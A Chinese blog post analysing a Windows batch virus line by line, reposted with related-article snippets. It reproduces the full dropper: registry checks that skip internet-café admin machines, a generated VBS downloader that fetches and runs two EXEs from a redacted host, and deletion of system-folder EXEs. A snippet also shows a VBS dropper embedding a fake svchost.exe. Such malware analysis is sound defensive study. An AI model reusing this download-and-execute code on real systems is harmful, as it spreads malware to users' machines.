一个bat病毒分析(part1)

之前没学过bat,这里借分析顺便学一波,分析过程可能有点啰嗦

这里的@echo off关闭回显,病毒一般都是隐秘的执行的,然后setlocal enabledelayedexpansion是设置本地变量延迟,具体作用在这里:https://www.jb51.net/article/29323.htm

@echo off&setlocal enabledelayedexpansion

这里的三个命令都是查找计算机里的超级用户,/v表示查询注册表值,>nul 2>nul表示无论执行成功还是失败都不显示结果。然后如果找到了注册表里的值(存在某个超级用户),就跳转到相关的地方继续执行。

reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\iCafe8 /v Admin>nul 2>nul&&call :is_admin_icafe
reg query HKEY_LOCAL_MACHINE\SOFTWARE\EYOOCLIENTSTATUS /v SuperLogin>nul 2>nul&&call :is_admin_eyoo
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet /v superadmin>nul 2>nul&&call :is_admin_yungengxin

这里就跳到了各个标志处继续执行,目的都是一样,其中/f是解析文本,读字符串用;"delims="以空格定界符号,%IsAdmin:~-1%是提取IsAmin的最后一个字符。三个语句都是检测是否存在超级用户,是就执行goto superadmin,执行结束,否则就执行goto :eof,等待其他输入。这里有个很奇怪的是,我去搜索了一下,一般都是网吧的管理系统才会有这个超级管理员的注册表值,这个病毒为什么自动躲避网吧????

:is_admin_icafe
for /f "delims=" %%a in (‘reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\icafe8 /v Admin‘) do (set IsAdmin=%%a)
if %IsAdmin:~-1% == 1 (goto superadmin)
goto :eof

:is_admin_eyoo
for /f "delims=" %%a in (‘reg query HKEY_LOCAL_MACHINE\SOFTWARE\EYOOCLIENTSTATUS /v SuperLogin‘) do (set IsAdmin=%%a)
if %IsAdmin:~-1% == 1 (goto superadmin)
goto :eof

:is_admin_yungengxin
for /f "delims=" %%a in (‘reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet /v superadmin‘) do (set IsAdmin=%%a)
if %IsAdmin:~-1% == 1 (goto superadmin)
goto :eof

:superadmin
exit

这里是下载两个exe到c盘下(网址抹掉了),然后删除c:\windows\system\下所有的exe,/q取消删除确认,然后执行结束

::Download one or more programs and run the programs
call :geticon http://xxxx/xx/zc005.exe C:\Windows\system\zc005.exe
call :geticon http://xxxx/xx/zjzc6.exe C:\Windows\system\zjzc6.exe
del c:\windows\system\*.exe /q
exit

我们看一下下载文件的地方,就是在temp临时目录生成一个vbs文件

:geticon url path
echo strFileURL="%1">%temp%\boot.vbs
echo strHDLocation="%2">>%temp%\boot.vbs
echo Set objXMLHTTP=CreateObject("MSXML2.XMLHTTP")>>%temp%\boot.vbs
echo objXMLHTTP.open "GET", strFileURL, false>>%temp%\boot.vbs
echo objXMLHTTP.send()>>%temp%\boot.vbs
echo If objXMLHTTP.Status=200 Then>>%temp%\boot.vbs
echo     Set objADOStream=CreateObject("ADODB.Stream")>>%temp%\boot.vbs
echo     objADOStream.Open>>%temp%\boot.vbs
echo     objADOStream.Type^=^1>>%temp%\boot.vbs
echo     objADOStream.Write objXMLHTTP.ResponseBody>>%temp%\boot.vbs
echo     objADOStream.Position^=^0>>%temp%\boot.vbs
echo     Set objFSO=Createobject("Scripting.FileSystemObject")>>%temp%\boot.vbs
echo     If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation>>%temp%\boot.vbs
echo     Set objFSO=Nothing>>%temp%\boot.vbs
echo     objADOStream.SaveToFile strHDLocation>>%temp%\boot.vbs
echo     objADOStream.Close>>%temp%\boot.vbs
echo     Set objADOStream=Nothing>>%temp%\boot.vbs
echo End if>>%temp%\boot.vbs
echo Set objXMLHTTP=Nothing>>%temp%\boot.vbs
cscript //nologo //e:vbscript %temp%/boot.vbs
del %temp%\boot.vbs /q
if exist %2 start "" %2
goto :eof

这里就是vbs执行的流程

strFileURL=http://xxxx/xx/zc005.exe                ‘目标URL
strHDLocation=C:\Windows\system\zc005.exe        ‘存放地址
Set objXMLHTTP=CreateObject("MSXML2.XMLHTTP")    ‘创建一个MSXML2.XMLHTTP对象用来抓取网页数据
objXMLHTTP.open "GET", strFileURL, false        ‘get方式访问url获取响应信息
objXMLHTTP.send()
If objXMLHTTP.Status=200 Then                    ‘判断是否访问到页面
    Set objADOStream=CreateObject("ADODB.Stream")    ‘ADODB.Stream用来数据传输
    objADOStream.Open
    objADOStream.Type^=^1                        ‘以二进制形式读取文件
    objADOStream.Write objXMLHTTP.ResponseBody    ‘数据写入对象,.ResponseBody:表示可以返回HTTP响应的几种形式之一
    objADOStream.Position^=^0                    ‘指示开始读取的位置
    Set objFSO=Createobject("Scripting.FileSystemObject")    ‘创建Scripting.FileSystemObject
    If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation    ‘检测是否存在目标目录,存在就删除文件
    Set objFSO=Nothing
    objADOStream.SaveToFile strHDLocation        ‘写入到目标路径
    objADOStream.Close
    Set objADOStream=Nothing
End if
Set objXMLHTTP=Nothing

最后这里就是用cscript执行脚本下载那两个exe下来,然后删除vbs脚本,最后再检测到目标文件就运行exe

cscript //nologo //e:vbscript %temp%/boot.vbs
del %temp%\boot.vbs /q
if exist %2 start "" %2
goto :eof

这就是那两个exe,不过目标网站已经被封了,这里感谢大佬发的样品,我们会在part2分析那两个exe

原文地址:https://www.cnblogs.com/QKSword/p/9157624.html

时间: 2024-10-17 17:07:59

一个bat病毒分析(part1)的相关文章

一个感染型木马病毒分析(二)

作者:龙飞雪 0x1序言 前面已经对感染型木马病毒resvr.exe的病毒行为进行了详细的分析见一个感染型木马病毒分析(一),可是认为还不够.不把这个感染型木马病毒的行为的亮点进行分析一下就有点遗憾了. 以下就针对该感染型木马病毒的感染性.木马性以及被感染文件的恢复几个方面进行详细的分析和说明.直观感受一下病毒的感染性.木马性质. 0x2病毒木马性的分析---远程控制用户的电脑 前面的分析中已经分析过了,该感染型木马病毒会在用户的电脑上创建socket套接字作为service端,等待病毒作者cl

一个简单的HTML病毒分析

一直就想写这篇东西了,只是上班时说要上班,不写,回家后又忙着玩游戏,丢一边去了.现在只好不务正业的开写了,希望头儿不会知道我的blog.哈哈 在很久之前就对HTML的病毒很感兴趣了,很好奇怎么能远程向本地不经过允许就能下载可执行文件的,只是一直没机会搞得到ASP的原码,所以不才敢断章取义的去作什么分析.最近一次听一朋友说他看一个网页时病毒防火墙提示有病毒,叫我小心(先感谢一下他先),我闪了一下念头,就打开FlashGet把那个病毒首页下了下来. 稍微看了一下发现在首页代码的下面几行里有一个隐含的

一个感染性木马病毒分析(三)--文件的修复

一. 序言 前面的分析一个感染型木马病毒分析(二)中,已经将该感染性木马病毒resvr.exe木马性的一面分析了一下,下面就将该感染性木马病毒resvr.exe感染性的一面分析一下. 二.文件感染方式的分析 之前感染性木马病毒的分析中,已经提到了病毒对于用户文件的感染方式有2种,分别是加密文件和感染文件传播病毒,至于文件感染的时候采取哪种感染方式,病毒母体文件和病毒母体衍生病毒文件中都有相关的标志位. 第1种感染文件的方式 前面分析的感染性木马病毒的木马性一面的过程中有下面一组远程控制命令Rev

病毒分析要掌握的技能

[转载]http://bbs.pediy.com/showthread.php?t=199036 虽然这里面的技能都比较久远了,但是常识还是要了解的 1._declspec(naked) 告诉编译器不要优化代码 对于jmp类型的hook, 如果自己的过程没有使用_declspec(naked),那么系统会自动给添加一些额外的代码,控制堆栈平衡,但是这些额外的代码会破坏被hook函数的堆栈.对于call类型的hook,如果使用_declspec(naked)修饰的话,要注意自己恢复堆栈平衡.#de

在bat脚本中执行另一个bat脚本,下面的命令不再执行

在bat脚本中执行另一个bat脚本,下面的命令不再执行,如下bat.bat: bat1.bat bat2.bat 在执行完bat1.bat 之后直接返回,bat2.bat没有被执行,这种情况下,用call bat1.bat即可解决,如下: call bat1.bat call bat2.bat 至于是什么原因也没有去分析,毕竟bat脚本很少写,能用就好.

病毒分析第二讲,分析病毒的主要功能

---恢复内容开始--- 病毒分析第二讲,分析病毒的主要功能 经过昨天病毒分析第一讲,得出一个被注入的DLL 开始分析DLL主要功能 PS: IDA中,DLL会有各种初始化的代码,和释放资源,所以不再看,只看重要的API 一丶行为分析(创建命名互斥体,防止病毒多开) 进入函数去看,从DLLmain入口点分析. 得出,第一步,病毒为了防止重复注入IE,创建命名互斥体. 名字是:  "KyUffThOkYwRRtgPP" 二丶拼接字符串,创建文件,写入系统当前时间 进入DLLmain第二个

QQ链接病毒分析

QQ链接病毒分析 特征 点击病毒链接后,自动会在每一时刻范围内通过所有途径群发新的病毒链接(途径包括Qzone,群聊等) 分析 首先看一下病毒链接的一个样例 http://news.soso.com/news/redirect_out.jsp?url=https://url.cn/5uSCssi?https://i.qq.com...XVfEPnCdOe 这个病毒十分狡猾,其感染链接打头的域名便是腾讯自己家的新闻网站soso新闻(从未听说过,但确实是鹅厂的),眨眼一看,这让一些稍懂网络知识的小白

病毒分析(三)-利用Process Monitor对熊猫烧香病毒进行行为分析

前两次随笔我介绍了手动查杀病毒的步骤,然而仅通过手动查杀根本无法仔细了解病毒样本的行为,这次我们结合Process Monitor进行动态的行为分析. Process Monitor Process Monitor一款系统进程监视软件,总体来说,Process Monitor相当于Filemon+Regmon,其中的Filemon专门用来监视系统 中的任何文件操作过程,而Regmon用来监视注册表的读写操作过程. 有了Process Monitor,使用者就可以对系统中的任何文件和 注册表操作同

今天中了一个脚本病毒。把我的所有 html 加了 vbs 脚本,WriteData 是什么鬼?

今天中了一个脚本病毒.把我的所有 html 加了 vbs 脚本: WriteData 是什么鬼? <SCRIPT Language=VBScript><!-- DropFileName = "svchost.exe" WriteData = "4D5A90000300000004000000FFFF0000B8000000000000004000000000000000000000000000000000000000000000000000000000000